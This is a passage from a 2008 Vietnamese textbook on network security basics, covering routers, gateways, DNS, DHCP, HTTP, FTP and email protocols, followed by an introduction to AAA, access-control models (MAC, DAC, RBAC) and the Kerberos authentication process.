của IP là mọi máy tính kết nối mạng đều có thể giao tiếp được với router.

Ưu điểm của Router: Về mặt vật lý, Router có thể kết nối với các loại mạng khác
lại với nhau, từ những Ethernet cục bộ tốc độ cao cho đến đường dây điện thoại
đường dài có tốc độ chậm.

22
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Nhược điểm của Router: Router chậm hơn Bridge vì chúng đòi hỏi nhiều tính toán
hơn để tìm ra cách dẫn đường cho các gói tin, đặc biệt khi các mạng kết nối với
nhau không cùng tốc độ. Một mạng hoạt động nhanh có thể phát các gói tin nhanh
hơn nhiều so với một mạng chậm và có thể gây ra sự nghẽn mạng. Do đó, Router
có thể yêu cầu máy tính gửi các gói tin đến chậm hơn. Một vấn đề khác là các
Router có đặc điểm chuyên biệt theo giao thức - tức là, cách một máy tính kết nối
mạng giao tiếp với một router IP thì sẽ khác biệt với cách nó giao tiếp với một
router Novell hay DECnet. Hiện nay vấn đề này được giải quyết bởi một mạng biết
đường dẫn của mọi loại mạng được biết đến. Tất cả các router thương mại đều có
thể xử lý nhiều loại giao thức, thường với chi phí phụ thêm cho mỗi giao thức.

Gateway

Gateway cho phép nối ghép hai loại giao thức với nhau. Ví dụ: mạng của bạn sử
dụng giao thức IP và mạng của ai đó sử dụng giao thức IPX, Novell, DECnet,
SNA... hoặc một giao thức nào đó thì Gateway sẽ chuyển đổi từ loại giao thức này
sang loại khác.

Qua Gateway, các máy tính trong các mạng sử dụng các giao thức khác nhau có
thể dễ dàng "nói chuyện" được với nhau. Gateway không chỉ phân biệt các giao
thức mà còn còn có thể phân biệt ứng dụng như cách bạn chuyển thư điện tử từ
mạng này sang mạng khác, chuyển đổi một phiên làm việc từ xa...

5. Các dịch vụ mạng

5.1. Hệ thống tên miền DNS

5.1.1 Khái niệm:

DNS là từ viết tắt trong tiếng Anh của Domain Name System, là Hệ thống phân
giải tên được phát minh vào năm 1984 cho Internet, chỉ một hệ thống cho phép
thiết lập tương ứng giữa địa chỉ IP và tên miền.

Hệ thống tên miền bao gồm một loạt các cơ sở dữ liệu chứa địa chỉ IP và các tên
miền tương ứng cuả nó. Mỗi tên miền tương ứng với một địa chỉ bằng số cụ thể.
Hệ thống tên miền trên mạng Internet có nhiệm vụ chuyển đổi tên miền sang địa
chỉ IP và ngược lại từ địa chỉ IP sang tên miền. Trong những ngày đầu tiên của
mạng Internet, tất cả các tên máy và địa chỉ IP tương ứng của chúng được lưu giữ
23
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

trong file hosts.txt, file này được trung tâm thông tin mạng NIC ( Network
information Center ) ở Mỹ lưu giữ. Tuy nhiên khi hệ thống Internet phát triển, việc
lưu giữ thông tin trong một file không thể đáp ứng nhu cầu phân phối và cập nhật.
Do đó, hệ thống tên miền DNS đã phát triển dưới dạng các cơ sở dữ liệu phân bố,
mỗi cơ sở dữ liệu này sẽ quản lý một phần trong hệ thống tên miền.

5.1.2 Cấu trúc của hệ thống tên miền ( DNS )

Hệ thống tên miền được sắp xếp theo cấu trúc phân cấp. Mức trên cùng được gọi là
root và ký hiệu là “.”, Tổ chức quản lý hệ thống tên miền trên thế giới là The
Internet Coroperation for Assigned Names and Numbers (ICANN). Tổ chức này
quản lý mức cao nhất của hệ thống tên miền (mức root) do đó nó có quyền cấp
phát các tên miền dưới mức cao nhất này. .

Tên miền ở dưới mức root được gọi là Top – Level- Domain, tên miền ở mức này
được chia thành các tên miền sau:

· Com : tên miền này được dùng cho mục đích thương mại

· Edu : tên miền này được dùng cho mục đích giáo dục.

· Gov : tên miền này được dùng cho các tổ chức chính phủ.

· Mil : tên miền này dùng cho các tổ chức quân sự.

· Org : tên miền này dùng cho các tổ chức khác.

· Net : tên miền này dùng cho các tổ chức liên quan tới mạng máy tính.

· Int : tên miền này dùng cho các tổ chức quốc tế

· Mã của các nước trên thế gới tham gia vào mạng internet, các mã quốc gia này
được qui định bằng hai chữ cái theo tiêu chuẩn ISO-3166 ( ví dụ vn của Viêt Nam,
sg của Singapo, uk của Anh v..v).

Đối với các quốc gia, tên miền mức hai trở xuống do quốc gia đó quản lý. Tại Việt
Nam, Trung tâm thông tin mạng Internet Việt Nam (VNNIC) có chức năng quản lý
tên miền dưới cấp .vn.Ở dưới tên miền .vn có 7 tên miền cấp 2 được phân thành

24
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

theo từng lĩnh vực kinh tế xã hội ( com.vn, net.vn, gov.vn, edu.vn, org.vn, ac.vn,
int.vn) và 4 tên miền của các ISP (vnn.vn, fpt.vn, saigonnet.vn, netnam.vn).

Cấu trúc không gian tên miền

5.1.3. Cách đọc tên miền

Ví dụ có tên miền : www.myexample.com.vn .


Tên miền sẽ được đọc từ trái qua phải, mục đầu tiên ( www) là tên của máy tính.
Tiếp theo là tên miền ở mức thứ 3 ( myexample), tên miền này được đăng ký với
cơ quan quản lý tên miền ở dưới cấp vn là trung tâm thông tin mạng Internet Việt
Nam (VNNIC). Tên miền đứng thứ 2 tính từ bên phải là tên miền ở mức 2 (com),
tên miền này miêu tả chức năng của tổ chức sở hữu tên miền ở mức thứ 3, trong ví
dụ này tổ chức lấy tên miền ở mức hai là “com” có nghĩa tổ chức này hoạt động
trong lĩnh vực thương mại. Cuối cùng là tên miền “vn”, tên miền này chỉ ra toàn bộ
tên miền này thuộc quyền quản lý của mạng Internet Việt Nam.

5.1.4. Qui tắc đặt tên miền

· Tên miền nên được đặt đơn giản và có tính chất gợi nhớ với mục đich và phạm vi
hoạt động của tổ chức sỡ hữu tên miền.

25
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

· Mỗi tên miền được có tối đa 63 ký tự bao gồm cả dấu “.”. § Tên miền được đặt
bằng các ký tự (a-z A-Z 0-9) và ký tự “-“.

· Một tên miền đầy đủ có chiều dài không vượt quá 255 ký tự.

5.1.5. Định nghĩa máy chủ tên miền (name server)

Máy chủ tên miền (name server) là máy chủ chứa cơ sở dữ liệu dùng cho việc
chuyển đổi giữa tên miền và địa chỉ IP. Như cách phân cấp của hệ thống tên miền,
tương ứng với mỗi cấp và mỗi loại tên miền có máy chủ tên miền phục vụ tên miền
ở cấp đó và loại tên miền đó. Máy chủ tên miền ở mức root sẽ chứa cơ sở dữ liệu
quản lý tên miền ở mức top-level-domain. Ở mức quốc gia sẽ có máy chủ tên miền
quản lý domain ở mức quốc gia.

5.1.6. Hoạt động của hệ thống DNS.

Giả sử người sử dụng muốn truy cập vào trang web có địa chỉ là
www.myexample.com.vn

1. Trước hết chương trình trên máy người sử dụng gửi yêu cầu tìm kiếm địa chỉ IP
ứng với tên miền www.myexample.com.vn tới máy chủ quản lý tên miền (name
server) cục bộ thuộc mạng của nó.

Máy chủ tên miền cục bộ này kiểm tra trong cơ sở dữ liệu của nó có chứa cơ sở dữ
liệu chuyển đổi từ tên miền sang địa chỉ IP của tên miền mà người sử dụng yêu cầu
không. Trong trường hợp máy chủ tên miền cục bộ có cơ sở dữ liệu này, nó sẽ gửi
trả lại địa chỉ IP của máy có tên miền nói trên.

2. Trong trường hợp máy chủ tên miền cục bộ không có cơ sở dữ liệu về tên miền
này nó sẽ hỏi lên các máy chủ tên miền ở mức cao nhất ( máy chủ tên miền làm
việc ở mức root). Máy chủ tên miền ở mức root này sẽ chỉ cho máy chủ tên miền
cục bộ địa chỉ của máy chủ tên miền quản lý các tên miền có đuôi .vn.

3. Máy chủ tên miền cục bộ gửi yêu cầu đến máy chủ quản lý tên miền có đuôi
(.vn) tìm tên miền www.myexample.com.vn Máy chủ tên miền quản lý các tên
miền.vn sẽ gửi lại địa chỉ của máy chủ quản lý tên miền fpt.vn.

4. Máy chủ tên miền cục bộ sẽ hỏi máy chủ quản lý tên miền fpt.vn này địa chỉ IP
của tên miền www.myexample.com.vn. Do máy chủ quản lý tên miền fpt.vn có cơ

26
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

sở dữ liệu về tên miền www.myexample.com.vn nên địa chỉ IP của tên miền này sẽ
được gửi trả lại cho máy chủ tên miền cục bộ.

Cơ chế hoạt động của hệ thống DNS

5. Máy chủ tên miền cục bộ chuyển thông tin tìm được đến máy của người sử
dụng.

6. Người sử dụng dùng địa chỉ IP này để kết nối đến server chứa trang web có địa
chỉ www.myexample.com.vn

5.2. Dịch vụ DHCP

5.2.1. Khái niệm:

Dynamic Host Configuration Protocol (DHCP) là một dịch vụ cho phép đơn giản
hóa việc quản lý cũng như cấu hình địa chỉ IP. Các máy tính đóng vai trò máy chủ

27
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

DHCP có khả năng cung cấp tự động địa chỉ IP và một số thông số cấu hình khác
đến toàn bộ máy trạm, đảm bảo các máy tính có thể liên lạc được với nhau.

5.2.2. Lợi ích khi sử dụng DHCP

Đối với 1 hệ thống mạng lớn, DHCP thể hiện rõ ràng ưu điểm của mình trong việc
quản trị hệ thống:

- Đảm bảo việc cấu hình địa chỉ IP chính xác và an toàn

- DHCP giúp tránh tình trạng bị trùng địa chỉ IP, địa chỉ IP cấu hình sai…

- Giảm công sức quản trị

- Sử dụng máy chủ DHCP giúp quản trị viên giảm thiểu thao tác, thời gian,
công sức trong việc cấu hình địa chỉ IP cho các máy tính.

5.2.3. Hoạt động của DHCP

DHCP sử dụng mô hình client-server. Người quản trị hệ thống thiết lập trước một
hoặc nhiều DHCP nhằm duy trì thông tin cấu hình TCP/IP và cung cấp nó cho các
máy trạm. Toàn bộ thông tin cấu hình được lưu trong database của máy chủ
DHCP, bao gồm các thông tin sau:

Các thông số cấu hình chung cho các nhóm máy trạm trong hệ thống (Subnet
Mask, Default Gateway, preferred DNS…)

Nhóm các địa chỉ IP được duy trì trong “pool” để cấp cho máy trạm, cùng với các
địa chỉ dành riêng (reserved addresses) dành để cấp cho các máy trạm đặc biệt
(thường là máy chủ web, máy chủ Database…)

Các thông số về thời gian một máy trạm có thể được giữ 1 địa chỉ IP (leased-
duration)

Khi một máy trạm tham gia vào hệ thống, DHCP hoạt động như sau:

Đầu tiên, máy trạm sẽ gửi gói tin quảng bá để tìm kiếm máy chủ dịch vụ DHCP
(gói tin DHCP DISCOVERY )

28
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Các máy chủ DHCP nhận được yêu cầu sẽ trả lời bằng gói tin quảng bá DHCP
OFFER. Máy trạm sẽ nhận các câu trả lời đó và chọn
một.

Máy trạm gửi tiếp một bản tin quảng bá DHCP


REQUEST đến máy chủ DHCP được chọn để yêu cầu
cấp địa chỉ IP.

Máy chủ DHCP được chọn sẽ trả lời yêu cầu đó bằng
gói tin DHCP ACK trong đó chứa các thông tin về
thời gian được giữ địa chỉ IP (lease duration) và các
thông số cần thiết khác.

Hoàn tất quá trình cấp phát địa chỉ IP. Máy trạm chỉ
giải phóng địa chỉ IP khi không hoạt động trong mạng nữa hoặc hết thời gian được
giữ (lease duration).

5.3. Dịch vụ Web (HTTP)

HyperText Transfer Protocol viết tắt là HTTP dịch sang tiếng Việt là Giao Thức
Truyền Siêu Văn Bản. Nó là giao thức cơ bản mà World Wide Web sử dụng.
HTTP xác định cách các thông điệp (các file văn bản, hình ảnh đồ hoạ, âm thanh,
video, và các file multimedia khác) được định dạng và truyền tải ra sao, và những
hành động nào mà các Web server (máy chủ Web) và các trình duyệt Web
(browser) phải làm để đáp ứng các lệnh rất đa dạng. Chẳng hạn, khi bạn gõ một địa
chỉ Web URL vào trình duyệt Web, một lệnh HTTP sẽ được gửi tới Web server để
ra lệnh và hướng dẫn nó tìm đúng trang Web được yêu cầu và kéo về mở trên trình
duyệt Web. Nói nôm na hơn, HTTP là giao thức truyền tải các file từ một Web
server vào một trình duyệt Web để người dùng có thể xem một trang Web đang
hiện diện trên Internet.HTTP là một giao thức ứng dụng của bộ giao thức TCP/IP
(các giao thức nền tảng cho Internet).

Có một tiêu chuẩn chính khác cũng điều khiển cách thức World Wide Web làm
việc là HTML (HyperText Markup Language, ngôn ngữ đánh dấu siêu văn bản),
có chức năng quản lý cách thức mà các trang Web được định dạng và hiển thị.

Người ta gọi HTTP là một giao thức “phi trạng thái” (stateless) bởi vì mỗi lệnh đều
được thực thi một cách độc lập, lệnh sau không biết bất cứ điều gì về các lệnh đã
đến trước mình. Đây chính là một hạn chế, khiếm khuyết của HTTP. Nó là nguyên

29
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

nhân chính của tình trạng rất khó thực thi các trang Web có khả năng phản ứng
thông minh đối với lệnh mà người dùng nạp vào. Và sự hạn chế này đang được các
nhà phát triển khắc phục trong các công nghệ mới như ActiveX, Java, JavaScript
và cookies.

Phiên bản mới nhất của HTTP là 1.1. So với phiên bản nguyên thủy (HTTP 1.0),
phiên bản mới này truyền tải các trang Web nhanh hơn và giảm tình trạng tắc
nghẽn giao thông Web.

Mặc định, HTTP hoạt động ở cổng 80 (TCP).

5.4. Dịch vụ truyền tệp tin FTP

FTP (viết tắt từ File Transfer Protocol, giao thức truyền tải file) là một giao thức
dùng để tải lên (upload) các file từ một trạm làm việc (workstation) hay máy tính
cá nhân tới một máy chủ FTP hoặc tải xuống (download) các file từ một máy chủ
FTP về một trạm làm việc (hay máy tính cá nhân). Đây là cách thức đơn giản nhất
để truyền tải các file giữa các máy tính trên Internet. Khi tiếp đầu ngữ ftp xuất hiện
trong một địa chỉ URL, có nghĩa rằng người dùng đang kết nối tới một file server
chứ không phải một Web server, và một hình thức truyền tải file nào đó sẽ được
tiến hành. Khác với Web server, hầu hết FTP server yêu cầu người dùng phải đăng
nhập (log on) vào server đó để thực hiện việc truyền tải file.

FTP hiện được dùng phổ biến để upload các trang Web từ nhà thiết kế Web lên
một máy chủ host trên Internet, truyền tải các file dữ liệu qua lại giữa các máy tính
trên Internet, cũng như để tải các chương trình, các file từ các máy chủ khác về
máy tính cá nhân. Dùng giao thức FTP, bạn có thể cập nhật (xóa, đổi tên, di
chuyển, copy,) các file tại một máy chủ. Nếu dùng chức năng FTP của một ứng
dụng quản lý file (như Total Commander), bạn có thể tiến hành các tác vụ xử lý
file trên máy chủ giống như ngay trên máy tính của mình.

FPT sử dụng cổng 21 làm kênh điểu khiển và cổng 20 là kênh truyền dữ liệu.

5.5. Dịch vụ thư điện tử

5.5.1. Khái niệm

Thư điện tử, hay email (từ chữ electronic mail), đôi khi được dịch không chính xác
là điện thư, là một hệ thống chuyển nhận thư từ qua các mạng máy tính.

30
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Email là một phương tiện thông tin rất nhanh. Một mẫu thông tin (thư từ) có thể
được gửi đi ở dạng mã hoá hay dạng thông thường và được chuyển qua các mạng
máy tính đặc biệt là mạng Internet. Nó có thể chuyển mẫu thông tin từ một máy
nguồn tới một hay rất nhiều máy nhận trong cùng lúc.

Ngày nay, email chẳng những có thể truyền gửi được chữ, nó còn có thể truyền
được các dạng thông tin khác như hình ảnh, âm thanh, phim, và đặc biệt các phần
mềm thư điện tử kiểu mới còn có thể hiển thị các email dạng sống động tương
thích với kiểu tệp HTML.

5.5.2. Các thành phần của một hệ thống thư điện tử

Một hệ thống email thường gồm 3 thành phần chính: Phần mềm thư điện tử (Client
Agent), máy chủ Mail (Mail Server) và các giao thức mà các thành phần này dùng
để giao tiếp với nhau.

Phần mềm thư điện tử (email software) là loại phần mềm nhằm hỗ trợ cho người
dùng việc chuyển và nhận các mẫu thông tin (thường là dạng chữ). Thông tin có
thể đưa vào phần mềm thư điện tử bằng cách thông dụng nhất là gõ chữ bàn phím
hay cách phương cách khác ít dùng hơn như là dùng máy quét hình (scanner),
dùng máy ghi hình số (digital camera) đặc biệt là các Web cam. Phần mềm thư
điện tử giúp đỡ cho việc tiến hành soạn thảo, gửi, nhận, đọc, in, xoá hay lưu giữ
các (điện) thư. Có hai trường hợp phân biệt phần mềm thư điện tử là

Loại phần mềm thư điện tử được cài đặt trên từng máy tính của người dùng gọi là
email client, hay phần mềm thư điện tử (cho) máy khách. Các thí dụ loại phần
mềm này bao gồm: Microsoft Outlook, Microsoft Outlook Express, Netscape
Comunicator, hay Eudora.

Ngược lại, loại phần mềm thư điện tử không cần phải cài đặt mà nó được cung ứng
bởi các máy chủ (web server) trên Internet gọi là WebMail, hay Phần mềm thư
điện tử qua Web. Để dùng được các phần mềm loại này thường các máy tính nối
vào phải có một máy truy cập tương thích với sự cung ứng của WebMail. Thí dụ
loại này là mail.Yahoo.com, hay hotmail.com.

5.5.3. Các giao thức

SMTP (từ chữ Simple Mail Transfer Protocol) -- hay là giao thức chuyển thư đơn
giản. Đây là một giao thức lo về việc vận chuyển email giữa các máy chủ trên
đường trung chuyển đến địa chỉ nhận cũng như là lo việc chuyển thư điện tử từ
31
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

máy khách đến máy chủ. Hầu hết các hệ thống thư điện tử gửi thư qua Internet đều
dùng giao thức này. Các mẫu thông tin có thể được lấy ra bởi một email client.
Những email client này phải dùng giao thức POP hay giao thức IMAP.

IMAP (từ chữ Internet Message Access Protocol) -- hay là giao thức truy nhập
thông điệp (từ) Internet. Giao thức này cho phép truy nhập và quản lý các mẫu
thông tin về từ các máy chủ. Với giao thức này người dùng email có thể đọc, tạo
ra, thay đổi, hay xoá các ngăn chứa, các mẫu tin đồng thời có thể tìm kiếm các nội
dung trong hộp thư mà không cần phải tải các thư về.
Phiên bản mới nhất của IMAP là IMAP4 tương tự nhưng có nhiều chức năng hơn
giao thức POP3. IMAP nguyên thuỷ được phát triển bởi đại học Standford năm
1986.

POP (từ chữ Post Office Protocol) -- hay là giao thức phòng thư. Giao thức này
được dùng để truy tìm các email từ một máy chủ mail. Hầu hết các chương trình
Email Client đều sử dụng giao thức POP mặc dù một số máy chủ mail cũng có thể
hỗ trợ giao thức mới hơn là IMAP.

Hiện có hai phiên bản của POP. Phiên bản đầu tiên là POP2 đã trở thành tiêu chuẩn
vào thập niên 80, nó đòi hỏi phải có giao thức SMTP để gửi đi các mẫu thông tin.
Phiên bản mới hơn POP3 có thể được dùng mà không cần tới SMTP.

32
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 2: GIỚI THIỆU VỀ AAA

1. Khái niệm:

- AAA là một khái niệm cơ bản nhất khi tìm hiểu về an ninh mạng máy tính, nó là
tổ hợp viết tắt của 3 từ: Access Control (kiểm soát truy cập), Authentication (Xác
thực truy cập) và Accounting (hoặc Auditing) (Giám sát thống kê)

- AAA là một nhóm các tiến trình dùng để bảo vệ dữ liệu, tài nguyên hệ thống và
sự an toàn thông tin. Một trong những mục đích chính của AAA là nhằm cung cấp
CIA:

Confidentiality (Tính bí mật): Đảm bảo thông tin, dữ liệu không bị nắm bắt bởi
người thứ ba.

Integrity (Tính toàn vẹn): Đảm bảo thông tin, dữ liệu không bị thay đổi trong quá
trình truyền.

Availability (Tính sắn sàng): Thông tin, dữ liệu phải truy cập được nếu đủ quyền.

2. Kiểm soát truy cập (Access Control)

2.1. Khái niệm

- Kiểm soát truy cập có thể là một chính sách, phần mềm, hay phần cứng làm
nhiệm vụ từ chối hoặc cho phép đối tượng truy cập đến một tài nguyên nào đó. Nó
cũng có thể là thiết bị tổng hợp cao cấp như: Smart Card, thiết bị sinh học, router,
RAS, VPN… Nó cũng có thể là các cách phân quyền (Permissions) trên các tệp tin
hoặc thư mục chia sẻ trong hệ thống.

2.2. Các phương pháp kiểm soát truy cập

2.2.1. Điều khiển truy cập bắt buộc (Mandatory Access Control – MAC)

Trong khoa học máy tính, kỹ thuật điều khiển truy cập bắt buộc (Mandatory
access control - viết tắt là MAC) được dùng để bảo vệ và ngăn chặn các quy trình
máy tính, dữ liệu, và các thiết bị hệ thống khỏi sự lạm dụng. Kỹ thuật này có thể
mở rộng và thay thế kỹ thuật điều khiển truy cập tùy quyền đối với các phép truy

33
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

cập và sử dụng hệ thống tập tin (file-system permissions ) cùng những khái niệm về
người dùng và nhóm người dùng.

Đặc trưng quan trọng nhất của MAC bao hàm việc từ chối người dùng toàn quyền
truy cập / sử dụng tài nguyên do chính họ kiến tạo. Chính sách an ninh của hệ
thống (như đã được viên quản lý (administrator) quy dịnh) hoàn toàn quyết định
các quyền truy cập được công nhận, và một người dùng không thể tự hạn chế
quyền truy cập vào các tài nguyên của họ hơn những gì mà viên quản lý chỉ định.

2.2.2. Điều khiển truy cập tùy quyền (Discretionary Access Control - DAC)

Điều khiển truy cập tùy quyền (Discretionary Access Control - viết tắt là DAC)
định nghĩa những chính sách điều khiển truy cập cơ bản đối với các đối tượng
trong một hệ thống tập tin (filesystem).

Nói chung, những việc này được giải quyết bằng sự suy xét chín chắn của người
chủ sở hữu đối tượng -- phép truy cập và sử dụng tập tin/thư mục và tính sở hữu
của người dùng / của nhóm người dùng.

Trang Từ vựng viễn thông (tiếng Anh) định nghĩa DAC như "Một phương pháp
nhằm hạn chế truy cập các đối tượng trên cơ sở nhận dạng (identity) và nhu cầu
cần biết (need-to-know) của nhiều người dùng và/hay của các nhóm mà đối tượng
trực thuộc. Phương pháp điều khiển được coi là 'tuỳ quyền' vì lý do một chủ thể với
một phép truy cập nào đấy có thể chuyển nhượng phép truy cập (trực tiếp hay gián
tiếp) sang bất cứ một chủ thể nào khác trong hệ thống."

2.2.3. Điều khiển truy cập trên cơ sở vai trò (Role-Based Access Control -
RBAC)

Trong an ninh đối với các hệ thống máy tính, điều khiển truy cập trên cơ sở vai trò
(tiếng Anh Role-Based Access Control - viết tắt là RBAC) là một trong số các
phương pháp điều khiển và đảm bảo quyền sử dụng cho người dùng. Đây là một
phương pháp có thể thay thế Điều khiển truy cập tùy quyền (discretionary access
control - DAC) và Điều khiển truy cập bắt buộc (mandatory access control -
MAC).

Điều khiển truy cập trên cơ sở vai trò (RBAC) khác với hình thức MAC và DAC
truyền thống. MAC và DAC trước đây là hai mô hình duy nhất được phổ biến
trong điều khiển truy cập. Nếu một hệ thống không dùng MAC thì người ta chỉ có
thể cho rằng hệ thống đó dùng DAC, hoặc ngược lại, mà thôi. Song cuộc nghiên
34
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

cứu trong những năm 1990 đã chứng minh rằng RBAC không phải là MAC hoặc
DAC.

Trong nội bộ một tổ chức, các vai trò (roles) được kiến tạo để đảm nhận các chức
năng công việc khác nhau. Mỗi vai trò được gắn liền với một số quyền hạn cho
phép nó thao tác một số hoạt động cụ thể ('permissions'). Các thành viên trong lực
lượng cán bộ công nhân viên (hoặc những người dùng trong hệ thống) được phân
phối một vai trò riêng, và thông qua việc phân phối vai trò này mà họ tiếp thu được
một số những quyền hạn cho phép họ thi hành những chức năng cụ thể trong hệ
thống.

Vì người dùng không được cấp phép một cách trực tiếp, song chỉ tiếp thu được
những quyền hạn thông qua vai trò của họ (hoặc các vai trò), việc quản lý quyền
hạn của người dùng trở thành một việc đơn giản, và người ta chỉ cần chỉ định
những vai trò thích hợp cho người dùng mà thôi. Việc chỉ định vai trò này đơn giản
hóa những công việc thông thường như việc cho thêm một người dùng vào trong
hệ thống, hay đổi ban công tác (department) của người dùng.

3. Xác thực truy cập (Authentication)

3.1. Khái niệm

- Xác thực truy cập là quá trình thẩm định máy tính hoặc người dùng đang có ý
định truy cập vào hệ thống mạng hoặc tài nguyên. Quá trình xác thực đơn giản có
thể là sử dụng Tài khoản (username / password) hay phức tạp như Kerperos, PAP,
CHAP, sinh trắc học…

Chúng ta sẽ tìm hiểu lần lượt 1 số phương pháp xác thực căn bản ở phần tiếp theo.

3.2. Kerberos

3.2.1. Khái niệm

- Ban đầu, Kerberos được Học viện kỹ thuật Massachusetts (MIT) phát triển nhằm
bảo vệ các dịch vụ mạng cung cấp bởi dự án Athena. Tên của giao thức được đặt
theo tên của con chó ba đầu Cerberus canh gác cổng địa ngục trong thần thoại Hy
Lạp. Giao thức đã được phát triển dưới nhiều phiên bản, trong đó các phiên bản từ
1 đến 3 chỉ dùng trong nội bộ MIT.

35
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Các tác giả chính của phiên bản 4, Steve Miller và Clifford Neuman, đã xuất bản
giao thức ra công chúng vào cuối thập niên 1980, mặc dù mục đích chính của họ là
chỉ phục vụ cho dự án Athena.

Phiên bản 5, do John Kohl và Clifford Neuman thiết kế, xuất hiện trong tài liệu
RFC 1510 vào năm 1993 (được thay thế bởi RFC 4120 vào năm 2005) với mục
đích sửa các lỗi của phiên bản 4.

- Kerberos là một giao thức mật mã dùng để xác thực trong các mạng máy tính
hoạt động trên những đường truyền không an toàn. Giao thức Kerberos có khả
năng chống lại việc nghe lén hay gửi lại các gói tin cũ và đảm bảo tính toàn vẹn
của dữ liệu. Mục tiêu khi thiết kế giao thức này là nhằm vào mô hình máy chủ-máy
khách (client-server) và đảm bảo nhận thực cho cả hai chiều.

Giao thức được xây dựng dựa trên mật mã hóa khóa đối xứng và cần đến một bên
thứ ba mà cả hai phía tham gia giao dịch tin tưởng.

3.2.2. Hoạt động của Kerberos

Kerberos được thiết kế dựa trên giao thức Needham-Schroeder. Kerberos sử dụng
một bên thứ ba tham gia vào quá trình nhận thực gọi là "trung tâm phân phối khóa"
(key distribution center - KDC). KDC bao gồm hai chức năng: "máy chủ xác thực"
(authentication server - AS) và "máy chủ cung cấp vé" (ticket granting server -
TGS). "Vé" trong hệ thống Kerberos chính là các chứng thực chứng minh nhân
dạng của người sử dụng.

Mỗi người sử dụng (cả máy chủ và máy khách) trong hệ thống chia sẻ một khóa
chung với máy chủ Kerberos. Việc sở hữu thông tin về khóa chính là bằng chứng
để chứng minh nhân dạng của một người sử dụng. Trong mỗi giao dịch giữa hai
người sử dụng trong hệ thống, máy chủ Kerberos sẽ tạo ra một khóa phiên dùng
cho phiên giao dịch đó.

Sau đây là mô tả một phiên giao dịch (giản lược) của Kerberos. Trong đó: AS =
Máy chủ nhận thực (authentication server), TGS = Máy chủ cấp vé (ticket
granting server), SS = Máy chủ dịch vụ (service server).

Một cách vắn tắt: người sử dụng nhận thực mình với máy chủ nhận thực AS, sau
đó chứng minh với máy chủ cấp vé TGS rằng mình đã được nhận thực để nhận vé,
cuối cùng chứng minh với máy chủ dịch vụ SS rằng mình đã được chấp thuận để
sử dụng dịch vụ.
36
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Người sử dụng nhập tên và mật khẩu tại máy tính của mình (máy khách).

Phần mềm máy khách thực hiện hàm băm một chiều trên mật khẩu nhận được. Kết
quả sẽ được dùng làm khóa bí mật của người sử dụng.

Phần mềm máy khách gửi một gói tin (không mật mã hóa) tới máy chủ dịch vụ AS
để yêu cầu dịch vụ. Nội dung của gói tin đại ý: "người dùng XYZ muốn sử dụng
dịch vụ". Cần chú ý là cả khóa bí mật lẫn mật khẩu đều không được gửi tới AS.

AS kiểm tra nhân dạnh của người yêu cầu có nằm trong cơ sở dữ liệu của mình
không. Nếu có thì AS gửi 2 gói tin sau tới người sử dụng:

Gói tin A: "Khóa phiên TGS/máy khách" được mật mã hóa với khóa bí mật của
người sử dụng.

Gói tin B: "Vé chấp thuận" (bao gồm chỉ danh người sử dụng (ID), địa chỉ mạng
của người sử dụng, thời hạn của vé và "Khóa phiên TGS/máy khách") được mật
mã hóa với khóa bí mật của TGS.

Khi nhận được 2 gói tin trên, phần mềm máy khách giải mã gói tin A để có khóa
phiên với TGS. (Người sử dụng không thể giải mã được gói tin B vì nó được mã
hóa với khóa bí mật của TGS). Tại thời điểm này, người dùng có thể nhận thực
mình với TGS.

Khi yêu cầu dịch vụ, người sử dụng gửi 2 gói tin sau tới TGS:

Gói tin C: Bao gồm "Vé chấp thuận" từ gói tin B và chỉ danh (ID) của yêu cầu dịch
vụ.

Gói tin D: Phần nhận thực (bao gồm chỉ danh người sử dụng và thời điểm yêu
cầu), mật mã hóa với "Khóa phiên TGS/máy khách".

Khi nhận được 2 gói tin C và D, TGS giải mã D rồi gửi 2 gói tin sau tới người sử
dụng:

Gói tin E: "Vé" (bao gồm chỉ danh người sử dụng, địa chỉ mạng người sử dụng,
thời hạn sử dụng và "Khóa phiên máy chủ/máy khách") mật mã hóa với khóa bí
mật của máy chủ cung cấp dịch vụ.

37
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Gói tin F: "Khóa phiên máy chủ/máy khách" mật mã hóa với "Khóa phiên
TGS/máy khách".

Khi nhận được 2 gói tin E và F, người sử dụng đã có đủ thông tin để nhận thực với
máy chủ cung cấp dịch vụ SS. Máy khách gửi tới SS 2 gói tin:

Gói tin E thu được từ bước trước (trong đó có "Khóa phiên máy chủ/máy khách"
mật mã hóa với khóa bí mật của SS).

Gói tin G: phần nhận thực mới, bao gồm chỉ danh người sử dụng, thời điểm yêu
cầu và được mật mã hóa với "Khóa phiên máy chủ/máy khách".

SS giải mã "Vé" bằng khóa bí mật của mình và gửi gói tin sau tới người sử dụng để
xác nhận định danh của mình và khẳng định sự đồng ý cung cấp dịch vụ:

Gói tin H: Thời điểm trong gói tin yêu cầu dịch vụ cộng thêm 1, mật mã hóa với
"Khóa phiên máy chủ/máy khách".

Máy khách giải mã gói tin xác nhận và kiểm tra thời gian có được cập nhật chính
xác. Nếu đúng thì người sử dụng có thể tin tưởng vào máy chủ SS và bắt đầu gửi
yêu cầu sử dụng dịch vụ.

Máy chủ cung cấp dịch vụ cho người sử dụng.

3.2.3. Nhược điểm

Tồn tại một điểm yếu: Nếu máy chủ trung tâm ngừng hoạt động thì mọi hoạt động
sẽ ngừng lại. Điểm yếu này có thể được hạn chế bằng cách sử dụng nhiều máy chủ
Kerberos.

Giao thức đòi hỏi đồng hồ của tất cả những máy tính liên quan phải được đồng bộ.
Nếu không đảm bảo điều này, cơ chế nhận thực giữa trên thời hạn sử dụng sẽ
không hoạt động. Thiết lập mặc định đòi hỏi các đồng hồ không được sai lệch quá
10 phút.

